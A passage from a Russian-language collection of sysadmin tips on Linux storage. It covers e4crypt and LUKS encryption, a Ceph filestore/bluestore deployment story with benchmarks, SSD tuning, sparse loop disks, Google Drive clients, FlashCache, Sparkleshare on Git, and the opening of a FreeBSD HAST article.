    Проверяем добавление ключа командой "keyctl show", которая поставляется в пакете keyutils.
    
      
    Активируем шифрование для каталога /secret/home/user, указав выданный идентификатор ключа:
    
        e4crypt set_policy f467134ca2c48c33 /secret/home/user
    
    Если после перезагрузки попытаться обратится к каталогу /secret/home/user без
    добавления ключа командой "e4crypt add_key", его содержимое будет показано в
    зашифрованном виде. Для расшифровки каталога при каждой загрузке необходимо
    настроить повторный вызов команды add_key для привязки ключа.
       
       e4crypt add_key -S /home/user/.crypt_salt
    
       Enter passphrase (echo disabled):
       Added key with descriptor [f467134ca2c48c33]
    
    Для просмотра привязанного к каталогу ключа можно использовать команду
    
       e4crypt get_policy /secret/home/user
    
    
    
    В случае необходимости шифрования всего содержимого можно использовать LUKS
    cryptsetup для шифрования имеющегося раздела без потери данных.
    
    Отмонтируем шифруемый раздел (при изменении корневого раздела нужно загрузиться
    с отдельного live-дистрибутива), проверяем целостность ФС и уменьшаем размер ФС
    для того, чтобы разместить заголвки LUKS на диске (в ФС должно быть достаточно
    свободного места):
    
       e2fsck -f /dev/sda4
       resize2fs /dev/sda4 размер_меньше_текущего_на_32МБ
    
    Шифруем содержимое имеющегося раздела без потери информации:
       
       cryptsetup reencrypt --encrypt /dev/sda4 --reduce-device-size 32M
       
    Открываем раздел:
    
       cryptsetup open /dev/sdXY home
      
    Увеличиваем размер ФС до свободной границы
    
       resize2fs /dev/mapper/home
    
    Монтируем раздел:
       
        mount /dev/mapper/home /mnt/home
    
    Смотрим UUID:
    
       blkid /dev/mapper/home 
    
    Добавляем информацию о разделе в /etc/crypttab
    
       home UUID=UUID_устройства_LUKS none
    
     
    ----* История про Ceph и реплику 1+2   Автор: alex  [комментарии]
     
    Обратился как-то знакомый с вопросом можно ли c Ceph реализовать реплику 1+2.
    Было 2 сервера OSD и требовалось сделать хранилище, причём только на запись
    (операции чтения не больше 10 процентов, а 90 процентов это запись). В виду
    горького раннего опыта с данной репликой и файловым Ceph пытался отговорить его
    от этого, но интерес взял своё.
    
    Итак задача звучала так: есть 2xOSD, в каждом 24 HDD диска по 8T и 4 SSD по 400G
    
    Основной задачей было обеспечение надёжности без применения CRUSH Map.
    
    Требовалось: 
    
  • Ceph 2xOSD + 3MON,
  • Ceph: Версия не важно но
  • 1 Обязательно файловая
  • 2 Вынос журналов на SSD, то есть 1 SSD на 6 HDD дисков Железо осмотр: OSD все на intel C610/X99 CPU : 2 x Xeon(R) CPU E5-2620 v4 @ 2.10GHz RAM : 192G DIMM DDR4 M393A4K40BB0-CPB Video: AST1150 ASPEED Technology, Inc. HDD: 2xINTEL SSDSC2BA20 LAN : 2 x 1G I210 (ILO + Управление) LAN : 2 x 82599ES 10-Gigabit SFI/SFP+ Network Connection (на борту) LAN : 2 x MT27520 Family [ConnectX-3 Pro] 40-Gigabit QFP+ Mellanox Technologies Внешний JBOD SAS3008 PCI-Express Fusion-MPT SAS-3 24 x HDD HUH728080AL5204 (HGST) 7452GiB 7200rpm 4 x SDD HUSMM1640ASS204 (HGST) 372GiB Первое что было сделано это обновлены все биосы и прочее, что могло обновляться включая HDD: 2xINTEL SSDSC2BA20 установлен дистрибутив Ubuntu 18.04.1 LTS HDD: 2xINTEL SSDSC2BA20 были объедены в MD зеркало (бортовой аппаратный райд не помог т.к. в итоге система не видела 2 диска как единое блочное устройство) в итоге получилось 1G /boot (MD0) 16G SWAP на каждом диске 170G / также выделил 3 сервера одинаковых для mon и один сервер для настроек с которого собственно и буду все поднимать серверы одинаковые: ProLiant DL360 G5 CPU: 2xIntel(R) Xeon(R) CPU E5420 @ 2.50GHz RAM: 8G HDD: 2x148 на базе аппаратного Smart Array Controller P400i LAN: 2xNetXtreme II BCM5708 Gigabit Ethernet (Broadcom Limited) собрав все в зеркало и установил систему Ceph Подключаем репозиторий. Раз версия не важна то используем Mimic (13.2.0), остальных версий под указанный дистрибутив нет. 1. компьютер установщика: wget -q -O- 'https://download.ceph.com/keys/release.asc' | sudo apt-key add - echo "deb https://download.ceph.com/debian-mimic/ bionic main" > /etc/apt/sources.list.d/ceph.list apt update apt upgrade apt install ceph-common ceph-deploy 2. добавим ключи с машины инсталлятора, чтобы ходить по ssh без пароля 3. определимся с сетью в качестве коммутатора у заказчика Mellanox SX1024 1 12x40G + 48x10G что вполне со слов заказчика достаточно на первое время 2 Dlink 36xx для сети 1G и портом 10G на всякий случай для стыковки с мелланоксом сеть public-network 10.0.0.0/24 cluster-network 10.200.0.0/24 mon01 10.0.0.1/24 mon02 10.0.0.2/24 mon03 10.0.0.3/24 osd01 10G 10.0.0.4/24 40G 10.200.0.4/24 osd02 10G 10.0.0.5/24 40G 10.200.0.5/24 слепил я и оповестил файлы /etc/hosts этими значениями Инсталляция начнём как рекомендуется в документации, с мониторов 1. установим демон точного времени apt install chrony на OSD серверах шлюзов не будет, соответственно настроим сразу получение времени с mon01-03 2. Установим мониторы и сразу MGR ceph-deploy install --mon --release=mimic mon0{1,2,3} ceph-deploy install --mgr --release=mimic mgr0{1,2,3} ceph-deploy install --osd --release=mimic osd0{1,2} 3. Создадим кластер ceph-deploy new --public-network 10.0.0.0/24 mon0{1,2,3} добавим мониторы ceph-deploy mon create mon0{1,2,3} раздадим ключи ceph-deploy gatherkeys mon0{1,2,3} добавим в начальный файл конфигурации mon_allow_pool_delete = true cluster network = 10.200.0.0/24 osd pool default size = 2 osd pool default min size = 1 osd mkfs options xfs = -f -s size=4096 и раздадим его всем cp *.keyring ceph.conf /etc/ceph/ добавим mgr ceph-deploy mgr create mgr0{1,2,3} раздадим и проверим конфигурацию на всех серверах и проверим ceph ceph -s cluster: id: 6dae468a-ac29-4cc6-a3e1-7b2a7247eb5b health: HEALTH_OK services: mon: 3 daemons, quorum mon01,mon02,mon03 mgr: mgr01(active), standbys: mgr02, mgr03
  • Займёмся osd ssh osd01 прогоним все диски parted -s /dev/sdj mklabel gpt почистим диски /usr/sbin/ceph-volume zap /dev/sdh ................ /usr/sbin/ceph-volume zap /dev/sdo и повторим то же на OSD02 вернёмся на инсталлиционый сервер и для теста создадим пару OSD с двух OSD серверов можно ещё раз проделать это с инсталляционного сервера ceph-deploy disk zap osd01:sdh ceph-deploy disk zap osd02:sdh ceph-deploy disk zap osd01:sdi ceph-deploy disk zap osd02:sdi
  • /dev/sdh это HDD OSD01
  • /dev/sdh это HDD OSD02
  • /dev/sdi это SSD OSD01
  • /dev/sdi это SSD OSD02 напомним, версия ФАЙЛОВАЯ и журналы на SSD без параметров, создаётся bluestore ceph-deploy osd create --filestore --data /dev/sdh --journal /dev/sdi osd01 ceph-deploy osd create --filestore --data /dev/sdh --journal /dev/sdi osd02
  • Убедимся что все верно ceph-deploy osd list osd01 ceph-deploy osd list osd02 клиент предупредил, что тестировать будет и нужно минимум 4 диска ну 4 так 4 проделал с остальными тоже самое в итоге 4 диска ceph osd tree ID CLASS WEIGHT TYPE NAME STATUS REWEIGHT PRI-AFF -1 352.22583 root default -7 176.11292 host osd01 0 hdd 7.27739 osd.0 up 1.00000 1.00000 1 hdd 7.27739 osd.1 up 1.00000 1.00000 2 hdd 7.27739 osd.2 up 1.00000 1.00000 3 hdd 7.27739 osd.3 up 1.00000 1.00000 0 ssd 0.36389 osd.0 up 1.00000 1.00000 1 ssd 0.36389 osd.1 up 1.00000 1.00000 2 ssd 0.36389 osd.2 up 1.00000 1.00000 3 ssd 0.36389 osd.3 up 1.00000 1.00000 -7 176.11292 host osd02 0 hdd 7.27739 osd.0 up 1.00000 1.00000 1 hdd 7.27739 osd.1 up 1.00000 1.00000 2 hdd 7.27739 osd.2 up 1.00000 1.00000 3 hdd 7.27739 osd.3 up 1.00000 1.00000 0 ssd 0.36389 osd.0 up 1.00000 1.00000 1 ssd 0.36389 osd.1 up 1.00000 1.00000 2 ssd 0.36389 osd.2 up 1.00000 1.00000 3 ssd 0.36389 osd.3 up 1.00000 1.00000 Видно что SSD нормально определился напомню, что проблема с правкой крушмапа осталась в версии до 12.x.x. далее подготовим pg ceph osd crush rule create-replicated hdd default host hdd ceph osd pool create hdd-rbd 512 ceph osd pool set hdd-rbd crush_rule hdd для тестов подойдёт и не забываем что на SSD у нас журналы и за ними надо следить !! подготовим для теста RBD rbd create --size 1T --image-feature layering,exclusive-lock --image hdd-rbd/test --image-feature именно такие так как будем использовать ядерный модуль, а с другими параметрами он не цепляется Дополним cat /etc/ceph/rbdmap hdd-rbd/test id=admin,keyring=/etc/ceph/ceph.client.admin.keyring и примонтируем rbdmap map проверим ls /dev/rbd/hdd-rbd/test /dev/rbd/hdd-rbd/test и появилось у нас новое устройство /dev/rbd0 померим hdparm -Tt /dev/rbd0 /dev/rbd0: Timing cached reads: 8226 MB in 2.00 seconds = 4122.93 MB/sec Timing buffered disk reads: 1636 MB in 3.00 seconds = 545.21 MB/sec dd if=/dev/zero of=/dev/rbd0 bs=1G count=1 oflag=direct 1+0 records in 1+0 records out 1073741824 bytes (1,1 GB, 1,0 GiB) copied, 10,0574 s, 107 MB/s попробуем, что скажет fio fio --name=writefile --size=1G --filesize=1G --filename=/dev/rbd0 --bs=1M --nrfiles=1 \ --direct=1 --sync=0 --randrepeat=0 --rw=write --refill_buffers --end_fsync=1 --iodepth=200 --ioengine=libaio writefile: (g=0): rw=write, bs=(R) 1024KiB-1024KiB, (W) 1024KiB- 1024KiB, (T) 1024KiB-1024KiB, ioengine=libaio, iodepth=200 fio-3.1 Starting 1 process Jobs: 1 (f=1): [W(1)][83.3%][r=0KiB/s,w=20.0MiB/s][r=0,w=20 IOPS][eta 00m:02s] writefile: (groupid=0, jobs=1): err= 0: pid=6404: Thu Aug 9 19:50:56 2018 write: IOPS=109, BW=110MiB/s (115MB/s)(1024MiB/9320msec) ну и случайное fio --time_based --name=benchmark --size=1G --runtime=30 --filename=/dev/rbd0 --ioengine=libaio \ --randrepeat=0 --iodepth=128 --direct=1 --invalidate=1 --verify=0 --verify_fatal=0 --numjobs=4 \ --rw=randwrite --blocksize=4k --group_reporting benchmark: (g=0): rw=randwrite, bs=(R) 4096B-4096B, (W) 4096B-4096B, (T) 4096B-4096B, ioengine=libaio, iodepth=128 ... fio-3.1 Starting 4 processes Jobs: 4 (f=4): [w(4)][100.0%][r=0KiB/s,w=80.2MiB/s][r=0,w=20.5k IOPS][eta 00m:00s] benchmark: (groupid=0, jobs=4): err= 0: pid=6411: Thu Aug 9 19:53:37 2018 write: IOPS=19.8k, BW=77.2MiB/s (80.9MB/s)(2315MiB/30006msec) slat (usec): min=4, max=199825, avg=193.15, stdev=1838.51 clat (msec): min=3, max=1348, avg=25.70, stdev=28.44 lat (msec): min=3, max=1349, avg=25.89, stdev=28.54 clat percentiles (msec): | 1.00th=[ 12], 5.00th=[ 14], 10.00th=[ 16], 20.00th=[ 17], | 30.00th=[ 19], 40.00th=[ 20], 50.00th=[ 21], 60.00th=[ 22], | 70.00th=[ 24], 80.00th=[ 26], 90.00th=[ 30], 95.00th=[ 41], | 99.00th=[ 155], 99.50th=[ 169], 99.90th=[ 363], 99.95th=[ 401], | 99.99th=[ 827] bw ( KiB/s): min= 4444, max=26995, per=25.07%, avg=19805.94, stdev=5061.73, samples=240 iops : min= 1111, max= 6748, avg=4951.28, stdev=1265.42, samples=240 lat (msec) : 4=0.01%, 10=0.30%, 20=44.53%, 50=51.12%, 100=1.34% lat (msec) : 250=2.50%, 500=0.18%, 750=0.01%, 1000=0.01%, 2000=0.01% cpu : usr=3.38%, sys=5.67%, ctx=75740, majf=0, minf=37 IO depths : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=0.1%, 32=0.1%, >=64=100.0% submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.1% issued rwt: total=0,592666,0, short=0,0,0, dropped=0,0,0 latency : target=0, window=0, percentile=100.00%, depth=128 Run status group 0 (all jobs): WRITE: bw=77.2MiB/s (80.9MB/s), 77.2MiB/s-77.2MiB/s (80.9MB/s-80.9MB/s), io=2315MiB (2428MB), run=30006-30006msec Disk stats (read/write): rbd0: ios=0/589859, merge=0/0, ticks=0/3725372, in_queue=3594988, util=100.00% также любезный Себастьян написал красивые вещи:
  • https://www.sebastien-han.fr/blog/2012/08/26/ceph-benchmarks/
  • https://www.sebastien-han.fr/blog/2013/10/03/quick-analysis-of-the-ceph-io-layer/ Кластер нужен на запись, поэтому основные тесты на запись. Остался доволен и отдал для теста заказчику Утром след дня заказчик заявил, что я неверно все сделал!!! ???????!!!!!! захожу и вижу cluster: id: 6dae468a-ac29-4cc6-a3e1-7b2a7247eb5b health: HEALTH_ERR 6 osds down 1 host (6 osds) down 5 scrub errors Possible data damage: 4 pgs inconsistent Degraded data redundancy: 2423/4847 objects degraded (50.000%), 2560 pgs degraded, 2560 pgs undersized clock skew detected on mon.mon03 1/3 mons down, quorum mon01,mon03 services: mon: 3 daemons, quorum mon01,mon03, out of quorum: mon02 mgr: mgr02(active), standbys: mgr03, mgr01 osd: 12 osds: 6 up, 12 in ceph health detail HEALTH_ERR 5 scrub errors; Possible data damage: 4 pgs inconsistent OSD_SCRUB_ERRORS 5 scrub errors PG_DAMAGED Possible data damage: 4 pgs inconsistent pg 1.14 is active+clean+inconsistent, acting [12,34] pg 1.27b is active+clean+inconsistent, acting [46,20] pg 1.683 is active+clean+inconsistent, acting [20,34] pg 1.728 is active+clean+inconsistent, acting [49,6] ну ладно попробуем восстановить root@ceph-deploy:~# ceph pg repair 1.728 instructing pg 1.728 on osd.4 to repair .................. instructing pg 1.14 on osd.2 to repair Тем временем задаю вопросы. Выяснилось, заказчик взял и переставил 2 ssd и 2 HDD с другого сервера, а затем отключил 1 OSD. Вспомнив, что на SSD журналы слал думать что можно сделать. Заодно спросил чем 3-й монитор не угодил? На что получил ответ, что все это для теста и нужно проверить все. Так похоже что FileStore мало подходит Пробуем с Blustore Blustore оказался более пригоден и более живуч для исправления ошибок написал скрипт cat /root/rep.sh #!/bin/sh /usr/bin/ceph health detail | grep active+clean+inconsistent | awk '{ print $2 }' | while read a; do /usr/bin/ceph pg repair $a ; done который стартую по крону */10 * * * * /root/rep.sh
  •  
    ----* Оптимизация работы на SSD-накопителе рабочей станции с Fedora Linux  (доп. ссылка 1)   [комментарии]
     
    Включаем для SSD-накопителя поддержку TRIM и отключаем обновление метаданных со
    временем доступа к файлу. Добавляем в список флагов /etc/fstab опции discard и noatime:
    
        /dev/mapper/fedora-root /      ext4    noatime,discard  1 1
        /dev/mapper/fedora-home /home  ext4    noatime,discard  1 2
    
    
    Организуем хранение содержимого временной директории в памяти, в /etc/fstab
    включаем tmpfs для /tmp:
    
        none /tmp     tmpfs nodev,nosuid,mode=1777 0 0
      
    По аналогии можно создать хранимый в памяти раздел и для логов. Содержимое
    логов будет сбрасываться при перезагрузке, но для десктоп-систем потеря логов,
    как правило, не критична.
    
        none /var/log tmpfs size=20m 0 0
    
    Отключаем кэширование страниц Firefox на диске. В  about:config  меняем
    содержимое переменной browser.cache.disk.enable на false и указываем приемлемый
    размер кэша в ОЗУ через переменную      browser.cache.memory.capacity (65536
    для 64 Мб).
    
     
    
    Включаем режим обратного кэширования записи для SSD-диска (дополнительно
    кэширование следует включить в BIOS ноутбука) и заменяем планировщик
    ввода/вывода на вариант, оптимизированный для Flash-памяти.
    
    Устанавливаем утилиту hdparm:
     
       sudo yum install hdparm
    
    Создаём файл /etc/rc.local и прописываем в него:
    
        #!/bin/sh
        hdparm -W1 /dev/sda
        echo noop > /sys/block/sdb/queue/scheduler
    
    где, /dev/sda - SSD-накопитель. 
    
       sudo chmod +x /etc/rc.local
    
    Активируем сервис для запуска /etc/rc.local в systemd:
    
       systemctl enable rc-local.service
    
     
    ----* Перенос данных через loop-диск, физически занимающий не больше размера скопированных данных (доп. ссылка 1)   Автор: Паша  [комментарии]
     
    У меня на роутере с линуксом висят 3 флешки, объединенные в один длинный диск
    через линейный программный RAID. Возникла необходимость заменить одну из этих
    флешек, ничего умнее не придумал, как на ноутбуке скопировать всю информацию из
    старого массива в новый, через диск внутри файла, подключенный как loop device.
    
    Но мне было лениво создавать loop-диск в 30 ГБ, поскольку это долго - скорость
    записи на диск не большая, а 30 ГБ это много. Поискал информацию про диски
    размером в одну дырку, и вот нашел вот этот чудесный пост.
    
    У меня стоит ubuntu 12.04, через консоль перешел на диск от Windows 7 с ntfs:
    
       cd /media/Data
    
    Создаем диск в 30ГБ размером в одну дырку
    
       dd if=/dev/zero of=disk.image bs=1M seek=30000 count=1
    
    Проверьте сейчас сколько он у вас занимает, через 
    
       du -h disk.image
    
    Форматируем диск:
    
       losetup /dev/loop0 disk.image
       mke2fs /dev/loop0
    
    После предыдущего шага "du -h disk.image" показал у меня 460 МБ
    
    Монтируем и заливаем на диск информацию - и файл с диском растет на разделе
    в процессе загрузки данных
    
       mount /dev/loop0 /mnt/where/you/need
    
     
    ----* Использование Google Drive в Linux   [комментарии]
     
    Как известно, компания Google пока не выпустила официального клиента Google
    Drive для платформы Linux, но подтвердила, что работает над его созданием.
    Не дожидаясь выхода Linux-клиента от Google энтузиастами было создано несколько
    независимых открытых проектов для работы с данным сервисом хранения, используя
    публично доступную спецификацию по API для работы с Google Drive.
    
    Среди такие проектов:
    
    Grive - написанный на С++ клиент для работы с Google Drive. Поддерживает две
    базовые операции: загрузка всех находящиеся в Google Drive файлов в текущую
    локальную директорию и сохранение в Google Drive изменённых данных из локальной
    директории. В настоящий момент (версия 0.0.3) программа поддерживает только
    обратную синхронизацию изменений, новые файлы в Google Drive она загружать пока
    не может. Готовые пакеты сформированы для Debian Testing и Fedora Linux. При
    первом запуске утилиту следует запустить с опцией "-a", затем открыть указанные
    URL и скопировать код аутентификции в приглашение программы, после этого будет
    создана директория .grive и начнётся загрузка данных.
    
    google-docs-fs - написанная на языке Python реализация FUSE-модуля для
    монтирования  Google Docs (будет работать и для Google Drive) в качестве
    локальной файловой системы. К сожалению автор прекратил развитие проекта, но
    успел выпустить кандидат в релизы. Модуль поддерживает все базовые операции, по
    чтению и записи данных, позволяет создавать директории. Готовые пакеты доступны для
    Ubuntu и Arch Linux. Для
    монтирования директории после установки следует запустить "gmount
    локальная_директория адрес@gmail.com", для размонтирования - "gumount локальная_директория".
    
    gdocsfs - FUSE-модуль для Google Docs, написанный на Java.
    
    fuse-google-drive - FUSE-модуль для монтирования содержимого Google Drive в
    качестве локальной файловой системы. Проект написан на языке Си. В настоящее
    время проект находится на начальной стадии развития и позволяет только
    просматривать список файлов, размещённых в Google Drive.
    
    google-drive-utils - попытка написать на Python набор утилит для работы с
    Google Drive, создаваемых по аналогии с GNU Coreutils (ls, cat, cp, mv и т.п.).
    Проект пока находится на стадии формирования начального тестового прототипа и
    ещё не пригоден к использованию.
    
     
    ----* Использование FlashCache для кэширования обращений к диску на высокоскоростном SSD-накопителе (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Весной 2010 года компания Facebook открыла код проекта FlashCache,
    представляющего собой модуль для ядра Linux, позволяющий заметно ускорить
    работу MySQL и других интенсивно работающих с диском приложений. Увеличение
    производительности достигается за счет организации процесса прозрачного
    кэширования наиболее активно используемых данных на быстрых SSD-накопителях.
    
    С точки зрения организации работы ничего не меняется, добавляется новое блочное
    устройство, которое при чтении выдает данные из быстрого кэша, а при записи
    дублирует их в кэше и на диске, обеспечивая прежний уровень надежности.
    Поддерживается также менее надежный режим увеличения скорости записи, при
    котором сначала осуществляется запись на хранилище SSD, а затем в фоне
    производится  синхронизация данных на обычное хранилище. Поддерживаются функции
    зеркалирования кэша на несколько SSD-накопителей и  задействование команды ATA
    TRIM для более оптимального распределения данных по SSD.
    
    
    Установка.
    
    Устанавливаем сопутствующие пакеты для Debian/Ubuntu:
    
       $ apt-get install git-core dkms build-essential linux-headers-`uname -r`
    
    
    Для CentOS/RHEL подключаем репозитории EPEL и репозиторий SRPMS.
    Устанавливаем необходимые пакеты:
    
       $ yum install dkms gcc make yum-utils kernel-devel
    
    Так как для сборки FlashCache требуются некоторые внутренние заголовочные
    файлы, которые не входят в состав пакета kernel-headers/devel требуется
    загрузить и установить полный код ядра:
    
       $ yumdownloader --source kernel-`uname -r`
       $ sudo rpm -ivh kernel-`uname -r`.src.rpm
    
    Загружаем исходные тексты FlashCache:
    
       $ git clone https://github.com/facebook/flashcache.git
    
    Работа FlashCache протестирована с ядрами Linux с 2.6.18 по 2.6.38, для более
    новых ядер могут наблюдаться проблемы.
    
    Собираем модуль с использованием DKMS (Dynamic Kernel Module Support):
    
       $ cd flashcache
       $ sudo make -f Makefile.dkms
    
       install -o root -g root -m 0755 -d /var/lib/dkms/flashcache/1.0-101-g4bceda86d13d/source
       rsync -r src/ /var/lib/dkms/flashcache/1.0-101-g4bceda86d13d/source/
       sed "s/PACKAGE_VERSION=/PACKAGE_VERSION=1.0-101-g4bceda86d13d/" src/dkms.conf > "/var/lib/dkms/flashcache/1.0-101-g4bceda86d13d/source/dkms.conf"
       dkms build -m flashcache -v 1.0-101-g4bceda86d13d
    
       Kernel preparation unnecessary for this kernel.  Skipping...
    
       Building module:
       cleaning build area....
       KERNEL_TREE=/lib/modules/2.6.32-33-generic/build make modules.......
       cleaning build area....
    
       DKMS: build Completed.
       make -C src/utils install
       ...
       install -d -m 755 /sbin/
       install -m 755 flashcache_create flashcache_destroy  flashcache_load /sbin/
       make[1]: Выход из каталога `/home2/home/mc/soft/flashcache/flashcache/src/utils'
       dkms install -m flashcache -v 1.0-101-g4bceda86d13d
    
       flashcache.ko:
       Running module version sanity check.
        - Original module
          - No original module exists within this kernel
        - Installation
          - Installing to /lib/modules/2.6.32-33-generic/updates/dkms/
    
       depmod.........
    
       Updating initrd
       Making new initrd as /boot/initrd.img-2.6.32-33-generic
       (If next boot fails, revert to the .bak initrd image)
       update-initramfs....
    
    все, теперь модуль flashcache.ko установлен и готов к использованию.
    
    
    Режимы кэширования
    
    Поддерживается три режима кэширования:
    
    Writethrough - самый надежный режим, при котором все операции записи сразу
    переносятся на диск и сохраняются на SSD. Кэшируются только операции записи.
    При перезагрузке или при отключении накопителя содержимое кэша не теряется и
    может быть использовано сразу, без траты дополнительного времени на его заполнение.
    
    Writearound - надежный режим, при котором данные при выполнении операции записи
    сохраняются только на диск и не отражаются на SSD. Кэш на SSD-накопителе
    обновляется только на основании выполнения операций чтения с диска (кэшируются
    только операции чтения). Режим подходит в ситуации, когда запись на диск
    производится быстрее, чем на SSD. После перезагрузки или отключения накопителя
    кэш начинает заполняться с нуля.
    
    Writeback - наиболее быстрый, но менее надежный режим. Данные вначале
    записываются на SSD, а потом в фоне перекидываются на диск. Кэшируются как
    операции записи, так и чтения. При экстренном отключении питания не исключено
    пропадание не синхронизированных на диск данных.
    
    
    
    Использование
    
    Для управления FlashCache подготовлены три утилиты:
    
    flashcache_create - создание нового дискового раздела с кэшированием;
    
    flashcache_load - подключение ранее созданного раздела с кэшем в режиме  writeback;
    
    flashcache_destroy - очистка содержимого кэша, созданного в режиме  writeback.
    
    Для режимов writethrough и writebehind утилиты flashcache_load и
    flashcache_destroy не требуются, так как кэш очищается при переподключении раздела.
    
    
    Предположим, что в системе имеется жесткий диск /dev/sdb и быстрый
    SSD-накопитель /dev/sdc. Для организации кэширования в режиме writeback, с
    размером блока 4 Кб и общим размером кэша 1 Гб следует выполнить:
    
       flashcache_create -p writeback -s 1g -b 4k cachedev /dev/sdc /dev/sdb
    
    После выполнения этой команды будет создано виртуальное блочное устройство с
    именем "cachedev", при монтировании раздела через которое будет автоматически
    использовано кэширование.
    
    Для загрузки прошлого содержимого кэши или очистки кэша в режиме writeback можно выполнить команды:
    
       flashcache_load /dev/sdc
       flashcache_destroy /dev/sdc
    
    Для удаления и просмотра статистики для уже созданных виртуальных блочных
    устройств следует использовать утилиту dmsetup.
    
    Удаляем устройство cachedev:
    
       dmsetup remove cachedev
    
    Смотрим статистику:
    
       dmsetup status cachedev
       dmsetup table cachedev
    
    или 
    
       cat /proc/flashcache/cachedev/flashcache_errors
       cat /proc/flashcache/cachedev/flashcache_stats
    
    Для тонкого управления режимами кэширования поддерживается большое число
    специальных sysctl-вызовов, описание которых можно найти в документации.
    
     
    ----* Организация файлового хранилища на базе Git-репозитория при помощи Sparkleshare (доп. ссылка 1)   [комментарии]
     
    В рамках проекта Sparkleshare развивается свободный движок для организации
    похожих на Dropbox online-хранилищ, непосредственное хранение данных в которых
    осуществляется в любом Git-репозитории. Использование Git позволяет
    задействовать элементы версионного контроля для отслеживания изменений в
    файлах, давая возможность отследить все изменения и при необходимости вернуться
    к состоянию определенного файла в прошлом.
    
    С технической стороны SparkleShare является Git-клиентом, оптимизированным для
    хранения и обмена файлами. Программа может использоваться не только для
    хранения своих файлов, но и для организации обмена файлами с другими людьми или
    для обеспечения синхронизации данных между домашним и рабочим ПК. SparkleShare
    поддерживает шифрование хранимых данных, что позволяет использовать публичные
    Git-репозитории не опасаясь возможной утечки информации. Например, можно
    использовать Git-репозитории в публичных сервисах Gitorious и GitHub.
    
    Рассмотрим процесс развертывания Sparkleshare-хранилища под управлением Fedora
    Linux с целью организации доступного дома и на работе хранилища. Для
    организации рабочего процесса создадим в домашней директории каталог
    Sparkleshare, в котором будем создавать подкаталоги, соответствующие текущим
    проектам. В качестве первичного хранилища будет использовать Git-репозиторий на
    собственном сервере, доступ к которому организован через SSH. Одновременно
    настроим на сервере доступность сохраняемых файлов через web, разместив клон
    репозитория в директории ~/public_html.
    
    
    Установка Sparkleshare на локальной клиентской машине.
    
    Добавляем соответствующий YUM-репозиторий, в котором содержатся готовые пакеты с Sparkleshare:
    
        cd /etc/yum.repos.d
        sudo curl -O http://repos.fedorapeople.org/repos/alexh/sparkleshare/fedora-sparkleshare.repo
    
    Устанавливаем Sparkleshare 
    
        sudo yum install -y sparkleshare ssh-askpass
    
    Удаляем пакет nautilus-python, так как иначе при работе Sparkleshare наблюдается крах Nautilus.
    
        sudo yum remove -y nautilus-python
    
    PS. Пользователи Ubuntu могут загрузить  Sparkleshare из PPA-репозитория:
    
       sudo add-apt-repository ppa:pdffs/sparkleshare
       sudo apt-get update
       sudp apt-get install sparkleshare
    
    Настройка Git-репозитория
    
    Создаем Git-репозиторий на внешнем сервере, который будет использован в
    качестве первичного хранилища:
    
       git init --bare repo.git
    
    Для работы на сервере должны быть установлены пакеты с git и openssh-server.
    
    Проводим первичное клонирование репозитория в директорию ~/public_html, чтобы
    файлы были доступны через web:
    
       cd ~/public_html
       git clone repo.git
       cd repo
    
    Создаем тестовый файл:
    
       echo 'Fedora 15 rocks!' >> test.txt
    
    Добавляем файл в Git и принимаем изменения.
    
       git add test.txt
       git commit test.txt -m 'initial commit2'
    
    Создаем начальную ветку:
     
       git push origin master
    
    
    
    Подключаем свои локальные машины к репозиторию
    
    На локальной рабочей машине останавливаем рабочий процесс Sparkleshare и
    клонируем созданный на прошлом шаге репозиторий
    
       sparkleshare stop
    
       cd ~/SparkleShare
       git clone логин@хост:/home/логин/repo.git
    
    Проверяем содержимое:
    
       cd ~/SparkleShare/repo
       ls
    
    Меняем содержимое тестового файла
    
       echo 'Pandas rule.' >> test.txt; 
    
    Применяем изменения:
    
       git commit -a -m 'panda PSA'
       git push
    
    
    На удаленном сервере, где создан базовый Git-репозиторий принимаем изменения:
    
       cd ~/public_html/repo
       git pull
    
    Проверяем, изменилось ли содержимое test.txt:
    
       cat test.txt
    
    Если все работает нормально, то запускаем на локальной машине Sparkleshare
    которые возьмет в свои руки выполнение рутинных операций по отслеживанию
    изменений и синхронизации данных на внешний сервер.
    
       sparkleshare start
    
    Настраиваем автозапуск Sparkleshare в GNOME:
    
       cp /usr/share/applications/sparkleshare.desktop ~/.config/autostart
    
    Заходим в директорию с репозиторием SparkleShare
    
       cd ~/SparkleShare/repo
    
    и создаем там новый тестовый файл:
    
       echo '42' >> theanswer.txt
    
    На удаленном сервере клонируем репозиторий и убеждаемся, что новый файл
    автоматически был помещен в Git:
    
        cd ~/public_html/repo
        git pull
        ls
    
    Все работает.
    
    
    Создаем автоматически обновляемое зеркало для просмотра репозитория из web.
    
    Настроим автоматическое клонирование репозитория удаленном сервере, с которого
    будет осуществлена раздача файлов через Web. Для работы нам понадобиться
    настроить удаленный вход со второй машины на первую по SSH по ключам, без ввода
    пароля. Инструкцию по настройке можно найти здесь.
    
    На удаленном сервере переходим в базовую директорию с Git-репозиторием (не клоном)
    
        cd ~/git.repo/hooks
    
    Добавляем скрипт, который будет срабатывать при добавлении файлов в
    репозиторий. В этом скрипте автоматически будет выполнять локальное
    клонирование репозитория для его видимости в web.
    
    Создадим скрипт post-receive в директории ~/git.repo/hooks (не забудьте
    подставить реальное значение вместо "логин"):
    
       #!/bin/sh
    
       while read oldrev newrev refname
       do
          true
       done
       cd /home/user/public_html/repo
       GIT_DIR=/home/логин/public_html/repo/.git git pull
    
    Проверим, создав на локальной системе третий тестовый файл:
    
       cd ~/SparkleShare/repo
       echo 'Fedora 15' >> latestfedora.txt
    
    
    Переходим на удаленном сервере в директорию с клоном репозитория для web и
    проверяем появился ли новый файл:
    
       cd ~/public_html/repo
       ls
    
    Подсказки по настройке работы Sparkleshare c Github и Gitorious можно найти на
    странице http://sparkleshare.org/help/
    
     
    ----* Создание отказоустойчивых хранилищ во FreeBSD, при помощи HAST (доп. ссылка 1)   Автор: mef  [комментарии]
     
    Введение.
    
    HAST (Highly Avalible Storage) технология позволяющая создавать
    отказоустойчивые хранилища (Primary-Secondary) используя несколько машин. Эта
    технология может помочь при создании кластера высокой доступности (HA). HAST
    появился в FreeBSD начиная с 8.1. В текущей версии HAST можно использовать
    только две машины. HAST работает на уровне блоков и не зависит от файловой
